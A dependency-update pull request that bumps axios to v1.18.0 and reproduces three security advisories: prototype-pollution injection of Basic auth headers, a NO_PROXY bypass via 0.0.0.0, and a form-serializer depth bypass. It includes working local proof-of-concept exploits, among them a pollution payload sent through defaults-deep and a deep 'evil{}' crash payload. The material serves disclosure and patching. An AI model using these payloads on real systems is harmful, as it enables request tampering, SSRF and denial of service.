Skip to content

chore(deps): update dependency axios to v1.18.0 [security]#2073

Open
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability
Open

chore(deps): update dependency axios to v1.18.0 [security]#2073
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.17.01.18.0 age confidence

Axios: Prototype pollution auth subfields can inject Basic auth

GHSA-xj6q-8x83-jv6g

More information

Details

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
  • Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

  • Requests with no own auth object after mergeConfig().
  • Requests with own auth.username and auth.password values.
  • Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
  • Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Original Report
Summary

After GHSA-q8qp-cvcw-x6jj / PR #​10779 (shipped in v1.15.2) and the further proxy-side hardening in
PR #​10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.

When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).

Reproduces against axios main HEAD (34723be, dated 2026-05-24)
as well as the released v1.16.1.

Details

Three still-unguarded read sites on main HEAD:

(1) lib/adapters/http.js lines 737–740 (Node http adapter):

const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}

own('auth') correctly applies hasOwnProp to the top-level auth
key. But once configAuth is the empty object the caller passed
(auth: {}), configAuth.username walks the prototype chain and
picks up Object.prototype.username.

Contrast with the proxy-auth path that PR #​10833 fixed (lines 322–324):

const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

This is the exact pattern needed at lines 739–740 too.

(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):

const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard

Same shape — top-level guarded, sub-fields walk prototype.

(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):

newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);

This third site is already proposed for fix in open PR #​10922 by @​Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #​10922 does not cover.

PoC

This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.

#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});

Reproduction:

mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs

Captured output (verified against released 1.16.1 AND against
main at 34723be, 2026-05-24):

{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to
victim-user:victim-password-leaked. The querystring carries
?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).

Impact
  • Credential exfiltration via Basic auth header on the outbound
    request. If the request URL is attacker-influenced too (common in
    webhook/oauth-callback patterns), the credentials flow directly to
    the attacker. If not, they flow to the legitimate destination but
    expose victim credentials in any logs / proxies along the path.
  • Outbound request-shape control via inherited params /
    paramsSerializer. With paramsSerializer polluted to an attacker
    function, axios will execute that function with each params
    invocation — same-process code execution from a pollution primitive.
  • Amplifier framing is still correct. The application-side
    precondition is "deep-merges attacker JSON into a config object
    without __proto__/constructor filtering, then uses the empty-
    fallback wrapper auth: opts.auth || {} / params: opts.params || {}."
    Both halves are very common in real codebases (we tested
    defaults-deep, hand-rolled merges, and several lodash-family
    utilities; many still pollute).
  • CWE-1321 (Improperly Controlled Modification of Object Prototype
    Attributes — amplifier sink).
Proposed fix

Two-line change in http.js, matching the proxy-auth pattern PR

#​10833 already established:

--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@&#8203;@&#8203; -737,8 +737,10 @&#8203;@&#8203;
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }

Same pattern in resolveConfig.js:

--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@&#8203;@&#8203; -64,7 +64,11 @&#8203;@&#8203;
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }

The params / paramsSerializer half is already handled by open
PR #​10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.

Relationship to recent prototype-pollution work

Same vulnerability class as the existing public hardening, just at
sub-field granularity:

This report adds: regular-request auth.username / auth.password
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).

Reporter notes
  • Reported as part of a small peer-review bundle of runtime security
    findings. The bundle's public tracking entry (without the working
    exploit chain) is at
    georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md.
  • I'm happy to submit the patch as a PR if that helps. Or, if you'd
    prefer to fold this into open PR #​10922 (whose author is actively
    responding to comments), please let me know and I'll coordinate.
  • Threat model honesty: this is amplifier framing — exploitation
    requires a separate prototype-pollution primitive elsewhere in the
    host process. That's how the existing GHSA-q8qp-cvcw-x6jj and
    PR #​10833 were framed too, so the precedent for "in-scope as a
    hardening fix" is established.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

GHSA-f4gw-2p7v-4548

More information

Details

Summary

Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.

The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.

Impact

Applications are affected when all of the following are true:

  • The application runs axios in Node.js with the HTTP adapter.
  • The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY.
  • The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path.
  • Attacker-controlled input can influence the request URL or redirect target.
  • The configured proxy does not reject 0.0.0.0 and can reach the local destination.

For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.

Affected Functionality

Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:

  • lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy.
  • lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries.
  • Explicit caller-provided config.proxy remains trusted caller configuration.
  • Browser, React Native, XHR, and fetch adapter behavior are not affected.
Technical Details

lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.

At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:

return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.

Proof of Concept of Attack
import http from 'http';
import axios from './index.js';

const listen = (handler, host = '127.0.0.1') =>
  new Promise((resolve) => {
    const server = http.createServer(handler);
    server.listen(0, host, () => resolve(server));
  });

const close = (server) => new Promise((resolve) => server.close(resolve));

const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');

let proxyRequests = 0;
const proxy = await listen((req, res) => {
  proxyRequests += 1;
  res.end('proxied');
});

process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;

try {
  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);

  console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
  await close(origin);
  await close(proxy);
}

Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.

Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.

Workarounds
  • Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies.
  • Reject or normalize 0.0.0.0 in application URL validation before calling axios.
  • Set proxy: false on axios requests that must never use environment proxies.
  • Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges.
Original Report
Summary

axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.

An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon.

Details
Affected versions

>= 1.15.0, <= 1.16.1

The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #​10661).


Root cause

File: lib/helpers/shouldBypassProxy.js

// Line 1 — static allowlist (incomplete)
const LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set
  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0
  return isIPv6Loopback(host);
};

isLoopback('0.0.0.0') returns false.

Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.

##### PoC
'use strict';

// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js

const LOOPBACK_HOSTNAMES = new Set(['localhost']);

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  return isIPv4Loopback(host);
};

// 1. Show URL parser does NOT normalise 0.0.0.0
console.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised
console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)
console.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)

// 2. Show isLoopback fails for 0.0.0.0
console.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true
console.log(isLoopback('127.0.0.1')); // → true   ← correct

Verified output on Node.js v22 / axios v1.16.1:
0.0.0.0      NOT normalised by URL parser
127.0.0.1    octal normalised correctly
127.0.0.1    decimal normalised correctly
false        0.0.0.0 not detected as loopback  
true         127.0.0.1 correctly detected

##### Impact
Applications that:

Accept user-supplied URLs and pass them to axios
Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering
…can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.

Fix
Minimal (one line):

- const LOOPBACK_HOSTNAMES = new Set(['localhost']);
+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);

Comprehensive:

const isIPv4Unspecified = (host) => host === '0.0.0.0';

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  if (isIPv4Loopback(host)) return true;
  if (isIPv4Unspecified(host)) return true;   // add this line
  return isIPv6Loopback(host);
};
</details>

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548)
- [https://github.com/axios/axios/pull/11000](https://redirect.github.com/axios/axios/pull/11000)
- [https://github.com/axios/axios/pull/11001](https://redirect.github.com/axios/axios/pull/11001)
- [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://redirect.github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d)
- [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://redirect.github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2)
- [https://github.com/axios/axios/releases/tag/v0.33.0](https://redirect.github.com/axios/axios/releases/tag/v0.33.0)
- [https://github.com/axios/axios/releases/tag/v1.18.0](https://redirect.github.com/axios/axios/releases/tag/v1.18.0)
- [https://github.com/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios form serializer maxDepth bypass via {} metatoken
[GHSA-hcpx-6fm6-wx23](https://redirect.github.com/advisories/GHSA-hcpx-6fm6-wx23)

<details>
<summary>More information</summary>

#### Details
##### Summary

Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.

An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.

##### Impact

The impact is availability only. No confidentiality or integrity impact was confirmed.

Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.

The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.

##### Affected Functionality

Affected paths include:

- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.
- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.
- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.
- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.

Unaffected paths include:

- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.
- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.
- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.

##### Technical Details

In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:

```js
if (value && !path && typeof value === 'object') {
  if (utils.endsWith(key, '{}')) {
    key = metaTokens ? key : key.slice(0, -2);
    value = JSON.stringify(value);
  }
}

The depth guard is in build():

if (depth > maxDepth) {
  throw new AxiosError(
    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
  );
}

For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.

Proof of Concept of Attack

Safe local PoC with no network I/O:

import toFormData from './lib/helpers/toFormData.js';

function buildDeep(depth) {
  const head = {};
  let cur = head;

  for (let i = 0; i < depth; i += 1) {
    cur.x = {};
    cur = cur.x;
  }

  return head;
}

try {
  toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
  console.log(err.name, err.code || '', err.message);
}

// Expected affected result:
// RangeError  Maximum call stack size exceeded

Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.

Workarounds

Reject or depth-limit untrusted objects before passing them to axios serialization.

Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.

For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.

For form bodies, construct FormData or URLSearchParams manually after validating input depth.

Original Report
Summary

The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.

Details

Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:

  • axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
  • axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
  • axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData

Vulnerable code, lib/helpers/toFormData.js:

// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...

build() later does enforce maxDepth:

// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );

The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.

The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.

The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:

app.post('/forward', async (req, res) => {
 await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
 res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes

The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.

The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:

 if (utils.endsWith(key, '{}')) {
 // eslint-disable-next-line no-param-reassign
 key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
 // eslint-disable-next-line no-param-reassign
 value = JSON.stringify(value);
 }

(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)

PoC

Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:

import axios from './source/index.js';

function buildDeep(depth) {
 let head = {};
 let cur = head;
 for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
 return head;
}

const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
 data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});

// 1. POST x-www-form-urlencoded
try {
 await axios.post('http://example.test/x',
 { 'evil{}': malicious },
 { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
 console.log('POST form-encoded:', e.name, '-', e.message);
}

// 2. GET with params
try {
 await axios.get('http://example.test/x',
 { params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
 console.log('GET params:', e.name, '-', e.message);
}

3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:

$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded

safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.

Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.

Impact

A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}' to land on the unguarded code path.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

